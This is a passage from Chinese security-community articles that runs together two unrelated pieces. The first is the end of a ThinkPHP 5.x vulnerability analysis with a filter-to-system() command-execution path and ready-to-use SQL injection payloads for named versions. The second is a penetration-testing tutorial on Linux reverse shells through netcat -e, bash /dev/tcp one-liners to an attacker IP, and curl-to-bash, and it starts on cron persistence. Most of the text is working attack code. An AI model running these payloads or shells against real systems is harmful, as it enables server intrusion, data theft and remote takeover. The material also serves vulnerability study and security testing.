$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
随后执行 `$filter = $this->getFilter($filter, $default);` 调用 `$this->getFilter`
来解析获取过滤器，也就是我们之前覆盖为了 `system` 的 `filter`。
进入 `filterValue()` ，调用了 `$value = call_user_func($filter, $value);` ，`$filter`
就是 `system` ，`$value` 就是我们传入的参数的值，成功执行命令。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
## 0x03 ThinkPHP v5.0.15 SQL注入
### 0x00 影响范围
> ThinkPHP 5.0.13-5.0.15
### 0x01 演示版本
ThinkPHP v5.0.15
PHP: php 7.3.4
环境：Windows10
### 0x02 payload
`?username[0]=inc&username[1]=updatexml(1,concat(0x7e,database(),0x7e),1)&username[2]=1`
### 0x03 触发条件
报错注入需要开启debug模式
// 应用调试模式
'app_debug' => true,
添加一个路由进行insert。这里 `get('username/a')` 以数组的格式获取username，或者以全局数组
`$_GET['username']` 来获取参数。
public function sql()
{
$username = request()->get('username/a');
db('user')->insert(['username' => $username,'password'=>'password']);
return 'Update success';
}
### 0x04 调试分析
首先进入 `insert()` 函数，然后调用 `$sql = $this->builder->insert($data, $options,
$replace);` 来生成SQL语句。随后调用 `$this->parseData()` ，漏洞就出现在这。
// 分析并处理数据
$data = $this->parseData($data, $options);
先获取了表的字段名，然后逐个对要插入的数据进行判断，这里就是关键了，如果我们传入的不是数组，而是一个字符串的话，就会进入 `elseif
(is_scalar($val))`，如果传入的是数组的话就进入的是 `elseif (is_array($val) && !empty($val))`。
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}
先来看看传入字符串的时候，该函数会返回一个数组，不会将字符串直接插入，我们接着往下看。
`username`:":data__username"
`password`:":data__password"
回到 `insert()`，我们拿到了一个初始的SQL语句 `"INSERT INTO `user` (`username` , `password`)
VALUES (:data__username , :data__password) "`
调用 `$result = 0 === $sql ? 0 : $this->execute($sql, $bind);`，调试跟进，又接着调用
`$this->connection->execute($sql, $bind);`。
然后通过以下语句进行参数绑定，然后执行语句，使用的是PDO预编译，肯定是无法进行注入的。
// 预处理
if (empty($this->PDOStatement)) {
$this->PDOStatement = $this->linkID->prepare($sql);
}
// 是否为存储过程调用
$procedure = in_array(strtolower(substr(trim($sql), 0, 4)), ['call', 'exec']);
// 参数绑定
if ($procedure) {
$this->bindParam($bind);
} else {
$this->bindValue($bind);
}
// 执行语句
$this->PDOStatement->execute();
// 调试结束
$this->debug(false);
回到之前，如果我们传入的是数组，然后进入 `elseif (is_array($val) && !empty($val))`。
这里会判断 `$val[0]`，前面如果采用的是 `$_GET['username']` 来获取参数，那么三个分支都可以用来SQL注入，但是如果用的
`request()->get('username/a')` 来获取参数，那么 `exp` 会被过滤为 `exp`，这里就不去调试了。所以我们可以选用
`inc` 或者 `dec` ，传入 `username[0]=inc`。然后会将 `$val[1]` 与 `$val[2]` 拼接起来，赋值给
`$result[$item]` ，这就意味着不会产生之前的
``username`:":data__username"`，而是将我们的输入直接拼接到SQL语句中，这样，返回的SQL语句就变为了 `"INSERT
INTO `user` (`username` , `password`) VALUES
(updatexml(1,concat(0x7e,database(),0x7e),1)+1 , :data__password) "`，成功注入。
elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
}
## 0x04 ThinkPHP v5.0.15 SQL注入
### 0x00 影响范围
> ThinkPHP 5.1.6-5.1.7
### 0x01 演示版本
ThinkPHP v5.1.6
PHP: php 7.3.4
环境：Windows10
### 0x02 payload
`?username[0]=point&username[1]=0x7e,database(),0x7e),'1&username[2]=updatexml&username[3]=1',concat`
### 0x03 触发条件
报错注入需要开启debug模式
// 应用调试模式
'app_debug' => true,
添加一个路由进行insert。这里 `get('username/a')` 以数组的格式获取username，或者以全局数组
`$_GET['username']` 来获取参数。
public function sql()
{
$username = request()->get('username/a');
db('user')->where(['id' => 1])->update(['username' => $username]);
}
### 0x04 调试分析
调用 `update()` 后接着调用 `$this->connection->update($this)`。
然后又调用 `$this->builder->update($query);` 生成UPDATE SQL语句，跟进。
接着我们又看到了熟悉的 `parseData()`，跟进看一下。
public function update(Query $query)
{
$options = $query->getOptions();
$table = $this->parseTable($query, $options['table']);
$data = $this->parseData($query, $options['data']);
......
}
还是同样的先获取表的字段名，然后逐个对要插入的数据进行判断，如果传入的是字符串进入 `elseif
(is_scalar($val))`，传入的是数组的话进入 `elseif (is_array($val) &&
!empty($val))`。传入字符串的话还是和之前一样是预编译，不能进行注入，我们就直接来看传入数组的情况。
protected function parseData(Query $query, $data = [], $fields = [], $bind = [], $suffix = '')
{
if (empty($data)) {
return [];
}
$options = $query->getOptions();
// 获取绑定信息
if (empty($bind)) {
$bind = $this->connection->getFieldsBind($options['table']);
}
if (empty($fields)) {
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($query, $key);
if ($val instanceof Expression) {
$result[$item] = $val->getValue();
continue;
} elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $this->connection->getFieldsType($options['table'], $key))) {
$val = json_encode($val);
} elseif (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false !== strpos($key, '->')) {
list($key, $name) = explode('->', $key);
$item = $this->parseKey($query, $key);
$result[$item] = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this->parseDataBind($query, $key, $val, $bind, $suffix) . ')';
} elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'INC':
$result[$item] = $item . ' + ' . floatval($val[1]);
break;
case 'DEC':
$result[$item] = $item . ' - ' . floatval($val[1]);
break;
default:
$value = $this->parseArrayData($query, $val);
if ($value) {
$result[$item] = $value;
}
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
$result[$item] = $this->parseDataBind($query, $key, $val, $bind, $suffix);
}
}
return $result;
}
不同于之前的是，这次在前两个分支中，进行拼接的是 `floatval($val[1])`，而不是直接将字符串进行拼接，显然是无法进行利用了，那我们来看看
`parseArrayData()`。
elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'INC':
$result[$item] = $item . ' + ' . floatval($val[1]);
break;
case 'DEC':
$result[$item] = $item . ' - ' . floatval($val[1]);
break;
default:
$value = $this->parseArrayData($query, $val);
if ($value) {
$result[$item] = $value;
}
}
}
这里 `$type` 是数组的第一个值，`$value` 是数组的第二个值。这里让 `$type`
等于point，进入第一个分支。然后分别获取数组下标为2和下标为3的值。然后以 `$data[2] . '(\'' . $data[3] . '(' .
$data[1] . ')\')'` 的样式拼接起来，返回该值。随后将其拼接到SQL语句中，`"UPDATE `user` SET `username` =
updatexml('1',concat(0x7e,database(),0x7e),'1)') WHERE `id` = :where_AND_id
"`，注入成功。
protected function parseArrayData(Query $query, $data)
{
list($type, $value) = $data;
switch (strtolower($type)) {
case 'point':
$fun = isset($data[2]) ? $data[2] : 'GeomFromText';
$point = isset($data[3]) ? $data[3] : 'POINT';
if (is_array($value)) {
$value = implode(' ', $value);
}
$result = $fun . '(\'' . $point . '(' . $value . ')\')';
break;
default:
$result = false;
}
return $result;
}
## 0x05 ThinkPHP v5.0.10 SQL注入
### 0x00 影响范围
> > =ThinkPHP 5.0.10
### 0x01 演示版本
ThinkPHP v5.0.10
PHP: php 7.3.4
环境：Windows10
### 0x02 payload
`?username[0]=NOT LIKE&username[1][0]=%&username[1][1]=So4ms&username[2]=)
union select 1,114514,database()%23`
### 0x03 触发条件
添加一个路由进行insert。这里 `get('username/a')` 以数组的格式获取username，或者以全局数组
`$_GET['username']` 来获取参数。
public function sql()
{
$username = request()->get('username/a');
$result = db('user')->where(['username' => $username])->select();
print_r($result);
}
### 0x04 调试分析
先调用 `select()` ，然后在其中调用 `$this->builder->select($options);`，生成查询SQL语句。然后调用
`$this->parseWhere($options['where'], $options),` ，跟进，又调用了 `parseWhereItem()`
处理查询条件。
protected function parseWhereItem($field, $val, $rule = '', $options = [], $binds = [], $bindName = null)
{
// 字段分析
$key = $field ? $this->parseKey($field, $options) : '';
// 查询规则和条件
if (!is_array($val)) {
$val = ['=', $val];
}
list($exp, $value) = $val;
// 对一个字段使用多个查询条件
if (is_array($exp)) {
$item = array_pop($val);
// 传入 or 或者 and
if (is_string($item) && in_array($item, ['AND', 'and', 'OR', 'or'])) {
$rule = $item;
} else {
array_push($val, $item);
}
foreach ($val as $k => $item) {
$bindName = 'where_' . str_replace('.', '_', $field) . '_' . $k;
$str[] = $this->parseWhereItem($field, $item, $rule, $options, $binds, $bindName);
}
return '( ' . implode(' ' . $rule . ' ', $str) . ' )';
}
// 检测操作符
if (!in_array($exp, $this->exp)) {
$exp = strtolower($exp);
if (isset($this->exp[$exp])) {
$exp = $this->exp[$exp];
} else {
throw new Exception('where express error:' . $exp);
}
}
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);
}
$bindType = isset($binds[$field]) ? $binds[$field] : PDO::PARAM_STR;
if (is_scalar($value) && array_key_exists($field, $binds) && !in_array($exp, ['EXP', 'NOT NULL', 'NULL', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN']) && strpos($exp, 'TIME') === false) {
if (strpos($value, ':') !== 0 || !$this->query->isBind(substr($value, 1))) {
if ($this->query->isBind($bindName)) {
$bindName .= '_' . str_replace('.', '_', uniqid('', true));
}
$this->query->bind($bindName, $value, $bindType);
$value = ':' . $bindName;
}
}
$whereStr = '';
if (in_array($exp, ['=', '<>', '>', '>=', '<', '<='])) {
// 比较运算
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
}
} elseif ('LIKE' == $exp || 'NOT LIKE' == $exp) {
// 模糊匹配
if (is_array($value)) {
foreach ($value as $item) {
$array[] = $key . ' ' . $exp . ' ' . $this->parseValue($item, $field);
}
$logic = isset($val[2]) ? $val[2] : 'AND';
$whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';
} else {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
}
} elseif ('EXP' == $exp) {
// 表达式查询
$whereStr .= '( ' . $key . ' ' . $value . ' )';
} elseif (in_array($exp, ['NOT NULL', 'NULL'])) {
// NULL 查询
$whereStr .= $key . ' IS ' . $exp;
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = array_unique(is_array($value) ? $value : explode(',', $value));
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
$i = 0;
foreach ($value as $v) {
$i++;
if ($this->query->isBind($bindName . '_in_' . $i)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $i;
} else {
$bindKey = $bindName . '_in_' . $i;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
} elseif (in_array($exp, ['NOT BETWEEN', 'BETWEEN'])) {
// BETWEEN 查询
$data = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
if ($this->query->isBind($bindName . '_between_1')) {
$bindKey1 = $bindName . '_between_1' . uniqid();
$bindKey2 = $bindName . '_between_2' . uniqid();
} else {
$bindKey1 = $bindName . '_between_1';
$bindKey2 = $bindName . '_between_2';
}
$bind = [
$bindKey1 => [$data[0], $bindType],
$bindKey2 => [$data[1], $bindType],
];
$this->query->bind($bind);
$between = ':' . $bindKey1 . ' AND :' . $bindKey2;
} else {
$between = $this->parseValue($data[0], $field) . ' AND ' . $this->parseValue($data[1], $field);
}
$whereStr .= $key . ' ' . $exp . ' ' . $between;
} elseif (in_array($exp, ['NOT EXISTS', 'EXISTS'])) {
// EXISTS 查询
if ($value instanceof \Closure) {
$whereStr .= $exp . ' ' . $this->parseClosure($value);
} else {
$whereStr .= $exp . ' (' . $value . ')';
}
} elseif (in_array($exp, ['< TIME', '> TIME', '<= TIME', '>= TIME'])) {
$whereStr .= $key . ' ' . substr($exp, 0, 2) . ' ' . $this->parseDateTime($value, $field, $options, $bindName, $bindType);
} elseif (in_array($exp, ['BETWEEN TIME', 'NOT BETWEEN TIME'])) {
if (is_string($value)) {
$value = explode(',', $value);
}
$whereStr .= $key . ' ' . substr($exp, 0, -4) . $this->parseDateTime($value[0], $field, $options, $bindName . '_between_1', $bindType) . ' AND ' . $this->parseDateTime($value[1], $field, $options, $bindName . '_between_2', $bindType);
}
return $whereStr;
}
在开头，会对传入的数据进行一个类型的判断，我们先来看一下传入字符串而不是数组的情况。
if (!is_array($val)) {
$val = ['=', $val];
}
随后对操作符进行检测，传入字符串时默认为 `=`，在数组中，所以不进入if。
if (!in_array($exp, $this->exp)) {
$exp = strtolower($exp);
if (isset($this->exp[$exp])) {
$exp = $this->exp[$exp];
} else {
throw new Exception('where express error:' . $exp);
}
}
然后下面会进入这个判断，`$value` 的值就变为了 `:where_username`。
if (is_scalar($value) && array_key_exists($field, $binds) && !in_array($exp, ['EXP', 'NOT NULL', 'NULL', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN']) && strpos($exp, 'TIME') === false) {
if (strpos($value, ':') !== 0 || !$this->query->isBind(substr($value, 1))) {
if ($this->query->isBind($bindName)) {
$bindName .= '_' . str_replace('.', '_', uniqid('', true));
}
$this->query->bind($bindName, $value, $bindType);
$value = ':' . $bindName;
}
}
下面就是操作符的不同而进入不同的分支了，这里的操作符是 `=` ，所以会进入下面这个判断中的else，最后`$whereStr` 的值就为
``username` = :where_username`。
if (in_array($exp, ['=', '<>', '>', '>=', '<', '<='])) {
// 比较运算
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
}
}
往下SQL语句就成了 `"SELECT * FROM `user` WHERE `username` = :where_username
"`，到这已经不用往下看了，接下来就是预处理然后执行SQL语句了，无法进行注入。
那我们再来看看传入数组的情况，还是来到 `parseWhereItem()`。这里的 `username[0]=not like`
不管是大写还是小写都可以，都会被转化为大写。然后在根据操作符不同判断分支时会进入第二个分支。
elseif ('LIKE' == $exp || 'NOT LIKE' == $exp) {
// 模糊匹配
if (is_array($value)) {
foreach ($value as $item) {
$array[] = $key . ' ' . $exp . ' ' . $this->parseValue($item, $field);
}
$logic = isset($val[2]) ? $val[2] : 'AND';
$whereStr .= '(' . implode($array, ' ' . strtoupper($logic) . ' ') . ')';
} else {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseValue($value, $field);
}
}
这里会对 `username[1]` 也就是 `$value` 进行一个类型的判断数组的话进入if，并对其进行一个拼接，`$logic` 被赋值为
`$username[2]` 的值，`$whereStr` 会等于`(`username` NOT LIKE '%' ) UNION SELECT
1,114514,DATABASE()# `username` NOT LIKE 'So4ms')`，返回之后直接拼接到了SQL语句中，就造成了注入。
而我们传入的参数的位置也就是这样的：`(`username` NOT LIKE '$username[1][0]' $username[2]
`username` NOT LIKE '$username[1][1]')`
这里本来使用 `LIKE` 也是同样的流程，但是使用 `request()->get()` 来获取参数的话会有下面这样一个过滤， `LIKE` 会过滤为
`LIKE` ，多了一个空格，就不满足上面的条件了，所以使用 `NOT LIKE`。
public function filterExp(&$value)
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
// TODO 其他安全过滤
}
在小于5.0.10的版本中，只能使用大写的 `NOT LIKE` 而不能用小写，因为在 `parseWhereItem()`
中，有一个操作符的判断，如果不在给定的数组的值中，就会对键进行匹配，而在小于5.0.10的版本中，`NOT LIKE` 的 键为 `notlike`，即
`notlike:"NOT LIKE"`，所以 `not like` 不能成功执行，同时 `NOTLIKE` 在 `request()->get()`
中也被过滤了，所以只能使用 `NOT LIKE`，所以网上挺多这个漏洞只存在于5.0.10的说法是不对的。
// 检测操作符
if (!in_array($exp, $this->exp)) {
$exp = strtolower($exp);
if (isset($this->exp[$exp])) {
$exp = $this->exp[$exp];
} else {
throw new Exception('where express error:' . $exp);
}
}
## 0x06 ThinkPHP v5 orderby 注入
### 0x00 影响范围
> ThinkPHP 5.1.16-5.1.22
### 0x01 演示版本
ThinkPHP v5.1.22
PHP: php 7.3.4
环境：Windows10
### 0x02 payload
`?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1`
### 0x03 触发条件
添加一个路由进行查询。
public function sql()
{
$orderby = request()->get('orderby');
$result = db('user')->where(['username' => 'admin'])->order($orderby)->find();
print_r($result);
}
使用报错注入需开启debug。
### 0x04 调试分析
在 `order()` 方法处打下断点，看看正常情况下传入 `orderby=1` 的情况。
public function order($field, $order = null)
{
if (empty($field)) {
return $this;
} elseif ($field instanceof Expression) {
$this->options['order'][] = $field;
return $this;
}
if (is_string($field)) {
if (!empty($this->options['via'])) {
$field = $this->options['via'] . '.' . $field;
}
if (strpos($field, ',')) {
$field = array_map('trim', explode(',', $field));
} else {
$field = empty($order) ? $field : [$field => $order];
}
} elseif (!empty($this->options['via'])) {
foreach ($field as $key => $val) {
if (is_numeric($key)) {
$field[$key] = $this->options['via'] . '.' . $val;
} else {
$field[$this->options['via'] . '.' . $key] = $val;
unset($field[$key]);
}
}
}
if (!isset($this->options['order'])) {
$this->options['order'] = [];
}
if (is_array($field)) {
$this->options['order'] = array_merge($this->options['order'], $field);
} else {
$this->options['order'][] = $field;
}
return $this;
}
在第二个判断 `if (is_string($field))` 处显然是符合条件的，进入if，`$this->options['via']`
初始情况也是空的，来看下一个判断。
这里如果传入的参数带有逗号，就会以逗号为分隔符进行分割然后去掉首尾字符，否则由于这里 `$order` 默认为null，`$field` 等于自身。
if (strpos($field, ',')) {
$field = array_map('trim', explode(',', $field));
} else {
$field = empty($order) ? $field : [$field => $order];
}
来到下面会判断是否为数组来进行不同的赋值。
if (is_array($field)) {
$this->options['order'] = array_merge($this->options['order'], $field);
} else {
$this->options['order'][] = $field;
}
`order()` 结束了，跟进 `find()`，跟着调试一路跟进，在 `parseOrder()` 中，对输入的参数调用了 `parseKey()`
，如果是数字，那就返回数字本身，如果不是数字，那就接着往下，存在这样一个判断，满足条件会在两边加上反引号，这样的话如果我们直接进行注入，语句会被切割开分别加上反引号，显然我们是不能进行注入了。
if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
如果我们传入一个数组，在 `order()` 中，直接对 `options['order']` 赋值。
if (is_array($field)) {
$this->options['order'] = array_merge($this->options['order'], $field);
} else {
$this->options['order'][] = $field;
}
然后在 `parseOrder()` 中，由于传入的键值不是之前切割字符串时的数字，所以会进入else，`key` 值就是键值，然后在线进入
`parseKey()` 。
if (is_numeric($key)) {
list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
} else {
$sort = $val;
}
这里虽然也会被加上反引号，但是整个注入语句都在一对反引号，我们是可以将其闭合的，前一个反引号配上一个列名进行闭合，后一个反引号我们可以直接将其注释，就有：``id`|updatexml(1,concat(0x7,user(),0x7e),1)#`
`，而且这里 `' ORDER BY ' . implode(',', $array);` 是直接将其拼接到字符串中没有进行额外过滤的，就造成了注入。
## 0x07 ThinkPHP v5 聚合查询注入
### 0x00 影响范围
> ThinkPHP 5.0.0-5.0.21
> ThinkPHP 5.1.3-5.1.25
### 0x01 演示版本
ThinkPHP v5.1.22
PHP: php 7.3.4
环境：Windows10
### 0x02 payload
`?count=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23`
### 0x03 触发条件
添加一个路由进行查询。
public function sql()
{
$count = input('get.count');
$result = db('user')->count($count);
print_r($result);
}
使用报错注入需开启debug。
### 0x04 调试分析
调用顺序 ：`count() => $this->aggregate() => $this->connection->aggregate()`。
此时看一下该方法的代码，`$aggregate` 是聚合方法，值为 `COUNT`，而 `$field` 是我们的输入，显然是要经过
`$this->builder->parseKey()` 进行处理，跟进看一下。
public function aggregate(Query $query, $aggregate, $field)
{
$field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) . ') AS tp_' . strtolower($aggregate);
return $this->value($query, $field, 0);
}
`$this->builder->parseKey()` 我们在上一个漏洞分析过了，在调用 `parseKey()` 时传入的参数 `$strict`
为true，所以我们的输入会被反引号包裹起来，然后返回结果，由于是整个字符串，且没有过滤，所以存在闭合的可能，返回的结果就为
`COUNT(`id`)+updatexml(1,concat(0x7,user(),0x7e),1) from user#`) AS tp_count`。
if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
然后调用了 `$this->value()` ，接着就是熟悉的调用 `$this->builder->select()`
生成查询SQL，由于我们的关注内容通过 `$query->setOption('field', $field);` 保存在
`$options['field']` ，所以我们跟进 `$this->parseField()`，这里又有 `$this->parseKey`
对切割开为数组的内容进行处理。
protected function parseField(Query $query, $fields)
{
if ('*' == $fields || empty($fields)) {
$fieldsStr = '*';
} elseif (is_array($fields)) {
// 支持 'field1'=>'field2' 这样的字段别名定义
$array = [];
foreach ($fields as $key => $field) {
if (!is_numeric($key)) {
$array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true);
} else {
$array[] = $this->parseKey($query, $field);
}
}
$fieldsStr = implode(',', $array);
}
return $fieldsStr;
}
还是这个判断，但是这里 `$strict` 为false，且数组每一个值都包含括号，所以不会加上反引号，也就是不会发生变化。
if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
随后 `$fieldsStr = implode(',', $array);` 拼接起来，最后拼接到SQL语句中，为 `SELECT
COUNT(`id`)+updatexml(1,concat(0x7,user(),0x7e),1) from user#`) AS tp_count
FROM `user` LIMIT 1`，注入成功。
## 0x08 参考资料
[Thinkphp v5.1.41反序列化漏洞分析及EXP ](https://www.freebuf.com/vuls/269882.html
"Thinkphp v5.1.41反序列化漏洞分析及EXP ")
[
ThinkPHP5代码审计【未开启强制路由导致RCE】](https://blog.csdn.net/weixin_45669205/article/details/116724655
" ThinkPHP5代码审计【未开启强制路由导致RCE】")
[ThinkPHP 5.0命令执行漏洞分析及复现](https://www.freebuf.com/vuls/194127.html "ThinkPHP
5.0命令执行漏洞分析及复现")
[ Thinkphp5.0.15 SQL注入](https://blog.csdn.net/rfrder/article/details/114376727
" Thinkphp5.0.15 SQL注入")
[ ThinkPHP5.x注入漏洞学习 ](https://www.cnblogs.com/R0ser1/p/15093687.html "
ThinkPHP5.x注入漏洞学习 ")
[ Thinkphp 5.1.17
SQL注入](https://blog.csdn.net/rfrder/article/details/114388453 " Thinkphp
5.1.17 SQL注入")
[ Thinkphp 5.0.10
SQL注入](https://blog.csdn.net/rfrder/article/details/114408324 " Thinkphp
5.0.10 SQL注入") | 社区文章 |
## 前言
在渗透测试实战中，我们经常会遇到Linux系统环境，而让Linux主机反弹个shell是再常见不过的事情了。
反弹shell，就是攻击机监听在某个TCP/UDP端口为服务端，目标机主动发起请求到攻击机监听的端口，并将其命令行的输入输出转到攻击机。
### 正向连接
假设我们攻击了一台机器，打开了该机器的一个端口，攻击者在自己的机器去连接目标机器（目标ip：目标机器端口），这是比较常规的形式，我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。
### 反向连接
那么为什么要用反弹shell呢？
反弹shell通常适用于如下几种情况：
* 目标机因防火墙受限，目标机器只能发送请求，不能接收请求。
* 目标机端口被占用。
* 目标机位于局域网，或IP会动态变化，攻击机无法直接连接。
* 对于病毒，木马，受害者什么时候能中招，对方的网络环境是什么样的，什么时候开关机，都是未知的。
* ......
对于以上几种情况，我们是无法利用正向连接的，要用反向连接。
那么反向连接就很好理解了，就是攻击者指定服务端，受害者主机主动连接攻击者的服务端程序，即为反向连接。
反弹shell的方式有很多，那具体要用哪种方式还需要根据目标主机的环境来确定，比如目标主机上如果安装有netcat，那我们就可以利用netcat反弹shell，如果具有python环境，那我们可以利用python反弹shell。如果具有php环境，那我们可以利用php反弹shell。
## 利用netcat反弹shell
Netcat 是一款简单的Unix工具，使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具，同时它也被用作网络的测试工具或黑客工具。
使用它你可以轻易的建立任何连接。
目前，默认的各个linux发行版本已经自带了netcat工具包，但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数
-e 都被阉割了，所以我们需要自己手动下载二进制安装包，安装的如下：
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean
安装完原生版本的 netcat 工具后，便有了netcat -e参数，我们就可以将本地bash反弹到攻击机上了。
**攻击机开启本地监听：**
netcat -lvvp 2333
**目标机主动连接攻击机：**
netcat 47.xxx.xxx.72 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
执行效果如下：
## 利用Bash反弹shell
个人感觉反弹shell最好用的方法就是使用bash结合重定向方法的一句话，具体命令如下：
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
或
bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
> 以下是针对Bash反弹一句话进行了拆分说明：
>
> 命令 | 命令详解
> ---|---
> bash -i | 产生一个bash交互环境。
> >& | 将联合符号前面的内容与后面相结合，然后一起重定向给后者。
> /dev/tcp/47.xxx.xxx.72/2333 |
> Linux环境中所有的内容都是以文件的形式存在的，其实大家一看见这个内容就能明白，就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
> 0>&1 | 将标准输入与标准输出的内容相结合，然后重定向给前面标准输出的内容。
>
> Bash反弹一句完整的解读过程就是：
>
> Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接（即TCP 2333会话连接）相结合，然后在重定向个TCP
> 2333会话连接，最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出，即得到一个Bash反弹环境。
**攻击机开启本地监听：**
nc -lvvp 2333
**目标机主动连接攻击机：**
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
执行效果如下：
### Curl配合Bash反弹shell
这里操作也很简单，借助了Linux中的管道。
首先，在攻击者vps的web目录里面创建一个index文件（index.php或index.html），内容如下：
bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
并开启2333端口的监听。
然后再目标机上执行如下，即可反弹shell：
curl 47.xxx.xxx.72|bash
执行效果如下：
根据curl命令和Linux管道的作用，你不难理解这其中的原理。
Curl配合Bash反弹shell的方式在CTF题目中经常出现，`curl IP|bash`
中的IP可以是任意格式的，可以是十进制、十六进制、八进制、二进制等等。
### 将反弹shell的命令写入定时任务
我们可以在目标主机的定时任务文件中写入一个反弹shell的脚本，但是前提是我们必须要知道目标主机当前的用户名是哪个。因为我们的反弹shell命令是要写在
`/var/spool/cron/[crontabs]/<username>` 内的，所以必须要知道远程主机当前的用户名。否则就不能生效。
比如，当前用户名为root，我们就要将下面内容写入到 /var/spool/cron/root 中。(centos系列主机)
